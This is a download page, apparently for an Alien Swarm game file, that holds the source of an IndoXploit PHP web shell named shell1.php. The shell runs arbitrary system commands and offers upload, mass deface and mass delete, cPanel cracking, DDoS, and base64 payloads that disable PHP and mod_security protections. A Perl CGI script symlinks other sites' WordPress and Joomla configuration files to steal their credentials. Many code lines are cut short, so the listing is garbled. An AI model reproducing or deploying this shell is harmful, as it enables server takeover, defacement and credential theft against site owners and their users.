loscardos

loscardosloscardosloscardos

Spiel:	Alien Swarm
Benutzer:	anonymous
Datei(en):	1
Download:	Download now: loscardos
Views:	19991
Downloads:	244
Likes:

shell1.php

1. <html>
2. <head>
3. <title>Global Network</title>
4. <meta name='author' content='IndoXploit'>
5. <meta charset="UTF-8">
6. <style type='text/css'>
7. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
8. html
9. background : url(http://2.bp.blogspot.com/-sUp5YgxMbRc/VSvhOy8rN9I/AAAAAAAAASA/P6XXHjDdWPM/s1600/Wallpaper%2Bkeren%2B25.jpg) no-repeat center center fixed;
10. -webkit
11. -moz
12. -o-background-size: cover;
13. background
14. color
15. font
16. font
17. width
18. }
19. body
20. text
21. resize
22. text
23. }
24. select
25. width
26. background
27. color
28. border
29. margin
30. padding
31. font
32. font
33. }
35. th
36. padding
37. }
38. a {
39. color
40. text
41. }
42. .php
43. *{
44. font
45. font
46. }
47. textarea
48. border
49. width
50. height
51. padding
52. margin
53. resize
54. background
55. color
56. font
57. font
58. }
59. li
60. display
61. margin
62. padding
63. }
64. table
65. border
66. font
67. background
68. font
69. font
70. }
71. body {cursor: url("http://downloads.totallyfreecursors.com/thumbnails/aliendance.gif"), auto;}
72. th
73. padding
74. }
75. a:hover {
76. color
77. text
78. }
79. .table_home, .th_home, .td_home {
80. border
81. }
82. #menu a{
83. padding
84. margin
85. background
86. letter
87. width
88. height
89. }
90. </style>
91. </head>
92. <?php
94. function w
95. if
96. return "<font color=red>" .
97. } else {
98. return "<font color=lime>" .
99. }
100. }
101. function r
102. if
103. return "<font color=red>" .
104. } else {
105. return "<font color=lime>" .
106. }
107. }
108. function exe
109. if
110. @ob_start();
111. @system($cmd);
112. $buff = @ob_get_contents();
113. @ob_end_clean();
114. return
115. } elseif(function_exists('exec')) {
116. @exec($cmd,$results);
117. $buff = "";
118. foreach
119. $buff .= $result;
120. } return $buff;
121. } elseif(function_exists('passthru')) {
122. @ob_start();
123. @passthru($cmd);
124. $buff = @ob_get_contents();
125. @ob_end_clean();
126. return
127. } elseif(function_exists('shell_exec')) {
128. $buff = @shell_exec($cmd);
129. return
130. }
131. }
132. function perms
133. $perms = fileperms($file);
134. if
135. // Socket
136. $info = 's';
137. } elseif (($perms & 0xA000) == 0xA000) {
138. // Symbolic Link
139. $info = 'l';
140. } elseif (($perms & 0x8000) == 0x8000) {
141. // Regular
142. $info = '-';
143. } elseif (($perms & 0x6000) == 0x6000) {
144. // Block special
145. $info = 'b';
146. } elseif (($perms & 0x4000) == 0x4000) {
147. // Directory
148. $info = 'd';
149. } elseif (($perms & 0x2000) == 0x2000) {
150. // Character special
151. $info = 'c';
152. } elseif (($perms & 0x1000) == 0x1000) {
153. // FIFO pipe
154. $info = 'p';
155. } else {
156. // Unknown
157. $info = 'u';
158. }
159. // Owner
160. $info .= (($perms & 0x0100) ? 'r' : '-');
161. $info .= (($perms & 0x0080) ? 'w' : '-');
162. $info .= (($perms & 0x0040) ?
163. (($perms & 0x0800) ? 's' : 'x' ) :
164. (($perms & 0x0800) ? 'S' : '-'));
165. // Group
166. $info .= (($perms & 0x0020) ? 'r' : '-');
167. $info .= (($perms & 0x0010) ? 'w' : '-');
168. $info .= (($perms & 0x0008) ?
169. (($perms & 0x0400) ? 's' : 'x' ) :
170. (($perms & 0x0400) ? 'S' : '-'));
171. // World
172. $info .= (($perms & 0x0004) ? 'r' : '-');
173. $info .= (($perms & 0x0002) ? 'w' : '-');
174. $info .= (($perms & 0x0001) ?
175. (($perms & 0x0200) ? 't' : 'x' ) :
176. (($perms & 0x0200) ? 'T' : '-'));
177. return
178. }
179. function hdd
180. if
181. return sprintf
182. elseif
183. return sprintf
184. elseif
185. return sprintf
186. else
187. return
188. }
189. function ambilKata
190. if
191. if
192. $start = strpos($param, $kata1) + strlen($kata1);
193. $end = strpos($param, $kata2, $start);
194. $return = substr($param, $start, $end - $start);
195. return
196. }
197. function getsource
198. $curl = curl_init($url);
199. curl_setopt
200. curl_setopt
201. curl_setopt
202. curl_setopt
203. $content = curl_exec($curl);
204. curl_close
205. return
206. }
207. function bing
208. $npage = 1;
209. $npages = 30000;
210. $allLinks = array();
211. $lll = array();
212. while
213. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
214. if
215. preg_match_all
216. foreach
217. $npage = $npage + 10;
218. if
219. } else break;
220. }
221. $URLs = array();
222. foreach
223. $exp = explode("/", $url);
224. $URLs[] = $exp[2];
225. }
226. $array = array_filter($URLs);
227. $array = array_unique($array);
228. $sss = count(array_unique($array));
229. foreach
230. echo
231. }
232. }
233. function reverse
234. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
235. curl_setopt
236. curl_setopt
237. curl_setopt
238. curl_setopt
239. $resp = curl_exec($ch);
240. $resp = str_replace("[","", str_replace("]","", str_replace("""","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
241. $array = explode(",,", $resp);
242. unset
243. foreach
244. $lnk = "http://$lnk";
245. $lnk = str_replace(",", "", $lnk);
246. echo
247. ob_flush
248. flush
249. }
250. curl_close
251. }
252. if
253. function idx_ss
254. return is_array
255. }
256. $_POST = idx_ss($_POST);
257. $_COOKIE = idx_ss($_COOKIE);
258. }
260. if
261. $dir = $_GET['dir'];
262. chdir
263. } else {
264. $dir = getcwd();
265. }
266. $kernel = php_uname();
267. $ip = gethostbyname($_SERVER['HTTP_HOST']);
268. $dir = str_replace("","/",$dir);
269. $scdir = explode("/", $dir);
270. $freespace = hdd(disk_free_space("/"));
271. $total = hdd(disk_total_space("/"));
272. $used = $total - $freespace;
273. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=red>OFF</font>";
274. $ds = @ini_get("disable_functions");
275. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
276. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
277. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
278. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
279. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
280. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
281. if
282. $user = @get_current_user();
283. $uid = @getmyuid();
284. $gid = @getmygid();
285. $group = "?";
286. } else {
287. $uid = @posix_getpwuid(posix_geteuid());
288. $gid = @posix_getgrgid(posix_getegid());
289. $user = $uid['name'];
290. $uid = $uid['uid'];
291. $group = $gid['name'];
292. $gid = $gid['gid'];
293. }
294. echo "System: <font color=lime>" .
295. echo "User: <font color=lime>" .
296. echo "Server IP: <font color=lime>" .
297. echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>"
298. echo "Safe Mode: $sm<br>"
299. echo "Disable Functions: $show_ds<br>"
300. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>"
301. echo "Current DIR: "
302. foreach
303. echo "<a href='?dir="
304. for
305. echo
306. if
307. echo "/"
308. }
309. }
310. echo "'>$cdir</a>/"
311. }
312. echo "  [ " .w
313. echo
314. echo "<hr>"
315. echo "<ul>"
316. echo "<a href='?'>Home</a>"
317. echo "<a href='?dir=$dir&do=upload'>Upload</a>"
318. echo "<a href='?dir=$dir&do=cmd'>Command</a>"
319. echo "<a href='?dir=$dir&do=mass_deface'>Mass Deface</a>"
320. echo "<a href='?dir=$dir&do=mass_delete'>Mass Delete</a>"
321. echo "<a href='?dir=$dir&do=config'>Config</a>"
322. echo "<a href='?dir=$dir&do=jumping'>Jumping</a>"
323. echo "<a href='?dir=$dir&do=cpanel'>CPanel Crack</a>"
324. echo "<a href='?dir=$dir&do=smtp'>SMTP Grabber</a>"
325. echo "<a href='?dir=$dir&do=cgi'>CGI Telnet</a> "
326. echo "<br><br><a href='?dir=$dir&do=fake_root'>Fake Root</a>"
327. echo "<a href='?dir=$dir&do=krdp_shell'>KRDP Shell</a>"
328. echo "<a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a>"
329. echo "<a href='?dir=$dir&do=auto_wp'>Auto Edit Title</a>"
330. echo "<a href='?dir=$dir&do=zoneh'>Zone-H</a>"
331. echo "<a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a>"
332. echo "<a href='?dir=$dir&do=cpftp_auto'>CFTP Auto Deface</a>"
333. echo "<br><br><a href='?dir=$dir&do=krdp_shell'>KRDP Shell</a>"
334. echo "<a href='?dir=$dir&do=network'>network</a>"
335. echo "<a href='?dir=$dir&do=about'>about</a>"
336. echo "<a href='?dir=$dir&do=adminer'>Adminer</a>"
337. echo "<a href='?dir=$dir&do=tool'>Tool</a>"
338. echo "<a href='?dir=$dir&do=admf'>Admin Finder</a>"
339. echo "<a href='?dir=$dir&do=symlink'>symlink</a>"
340. echo "<a href='?dir=$dir&do=autoklik'>Auto Deface</a>"
341. echo "<br><br><a href='?dir=$dir&do=bypass'>Bypass</a>"
342. echo "<a href='?dir=$dir&do=csrf'>CSRF Online</a>"
343. echo "<a href='?dir=$dir&do=ende'>Encode Decode</a>"
344. echo "<a href='?dir=$dir&do=ddos'>DDos</a>"
345. echo "<a href='?dir=$dir&do=shellscanner'>Shell Scanner</a>"
346. echo "<a style='color: red;' href='?logout=true'>Logout</a>"
347. echo "</ul>"
348. echo "<hr>"
349. echo "</div>"
350. if
351. unset
352. echo "<script>window.location='?';</script>"
353. } elseif($_GET['do'] == 'upload') {
354. echo "<center>"
355. if
356. if
357. if
358. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
359. } else {
360. $act = "<font color=red>failed to upload file</font>";
361. }
362. } else {
363. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
364. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
365. if
366. if
367. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
368. } else {
369. $act = "<font color=red>failed to upload file</font>";
370. }
371. } else {
372. $act = "<font color=red>failed to upload file</font>";
373. }
374. }
375. }
376. echo
377. <form method='post' enctype='multipart/form-data'>
378. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
379. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
380. <input type='file' name='ix_file'>
381. <input type='submit' value='upload' name='upload'>
382. </form>";
383. echo
384. echo "</center>"
385. } elseif($_GET['do'] == 'bypass') {
386. ?>
387. <form method="post">
388. <input type="submit" name="x" value=".htaccess"> Fungsi ini sebagai bypass symlink(internal server Error)
389. </form>
390. <?php
391. $target = explode(" ", $_POST['target']);
392. if
393. foreach
394. $global = ".htaccess";
395. $isi_nama_doang = "T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBsaW51eHNlYy5odG0NCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHA=";
396. $decode_isi = base64_decode($isi_nama_doang);
397. $encode = base64_encode($global);
398. $ss = fopen($global,"w");
399. fputs
400. echo "[+] <a href='$korban' target='_blank'>$korban</a> <br>"
401. echo "Done .htaccess<br>"
402. $url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
403. $post1 = array(
404. "target" => "l1_$encode",
405. "content" => "$decode_isi",);
406. $post2 = array( "upload[]" => "@$global",);
407. $output_mkfile = ngirim("$korban", $post1);
408. $upload_ah = ngirim("$korban?cmd=upload", $post2);
409. }
410. }
411. ?>
412. <form method="post">
413. <input type="submit" name="y" value="php.ini">Fungsi ini sebagai bypass Disable Functions(Mod Security )
414. </form>
415. <?php
416. $target = explode(" ", $_POST['target']);
417. if
418. foreach
419. $global = "php.ini";
420. $isi_nama_doang = "DQpzYWZlX21vZGUgPSBPRkYNCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ0K";
421. $decode_isi = base64_decode($isi_nama_doang);
422. $encode = base64_encode($global);
423. $ss = fopen($global,"w");
424. fputs
425. echo "[+] <a href='$korban' target='_blank'>$korban</a> <br>"
426. echo "Done php.ini<br>"
427. $url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
428. $post1 = array(
429. "target" => "l1_$encode",
430. "content" => "$decode_isi",);
431. $post2 = array( "upload[]" => "@$global",);
432. $output_mkfile = ngirim("$korban", $post1);
433. $upload_ah = ngirim("$korban?cmd=upload", $post2);
434. }
435. }
436. ?>
437. <form method="post">
438. <input type="submit" name="a" value=".htaccess1">Fungsi ini sebagai bypass Disable Functions(Mod Security )
439. </form>
440. <?php
441. $target = explode(" ", $_POST['target']);
442. if
443. foreach
444. $global = ".htaccess";
445. $isi_nama_doang = "DQo8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICBTZWNGaWx0ZXJFbmdpbmUgT2ZmDQogICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQo=";
446. $decode_isi = base64_decode($isi_nama_doang);
447. $encode = base64_encode($global);
448. $ss = fopen($global,"w");
449. fputs
450. echo "[+] <a href='$korban' target='_blank'>$korban</a> <br>"
451. echo "Done .htaccess1<br>"
452. $url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
453. $post1 = array(
454. "target" => "l1_$encode",
455. "content" => "$decode_isi",);
456. $post2 = array( "upload[]" => "@$global",);
457. $output_mkfile = ngirim("$korban", $post1);
458. $upload_ah = ngirim("$korban?cmd=upload", $post2);
459. }
460. }
461. ?>
462. </font><br><br>
463. <td><table width='100%' height='173'>
464. <td class='td' style='border-bottom-width:thin;border-top-width:thin'><form method='post'>
465. <div align='center'>
466. <input type='submit' name='elgass' value='Click Ini Gan'> Virtual Hosting
467. </div>
468. </form></td>
469. <?php
470. if
471. {
472. @mkdir('vhost', 0755);
473. @chdir('vhost');
474. $elesem = ".htaccess";
475. $elakab = "$elesem";
476. $filhat = fopen ($elakab , 'w') or die ("Can't Write htaccess !");
477. $htcont = "Options FollowSymLinks MultiViews Indexes ExecCGI
479. AddType application
481. AddHandler cgi-script .cin
482. AddHandler cgi-script .cin
483. fwrite
484. fclose
485. $xaivhost = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxubiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT4uOlByaXY4IHZob3N0cyBDb25maWcgR3JhYmJlciB2MC4xOi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiB1YnVudHU7DQogZm9udC1zaXplOiB4LWxhcmdlOw0KIGNvbG9yOiB3aGl0ZTsNCiBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCg0KDQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPi46IENvZGVkIGJ5IEZhbGxhZyBHYXNzcmluaSBSZWNvZGVkIEJ5IGVYZVVzZXIgOi48L3A+DQo8cD5rcmVvbnJpbnRvQGdtYWlsLmNvbTwvcD4NCjxwPmh0dHA6Ly9mYi5jb20vcmludG8yMjM0PC9wPic7DQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3N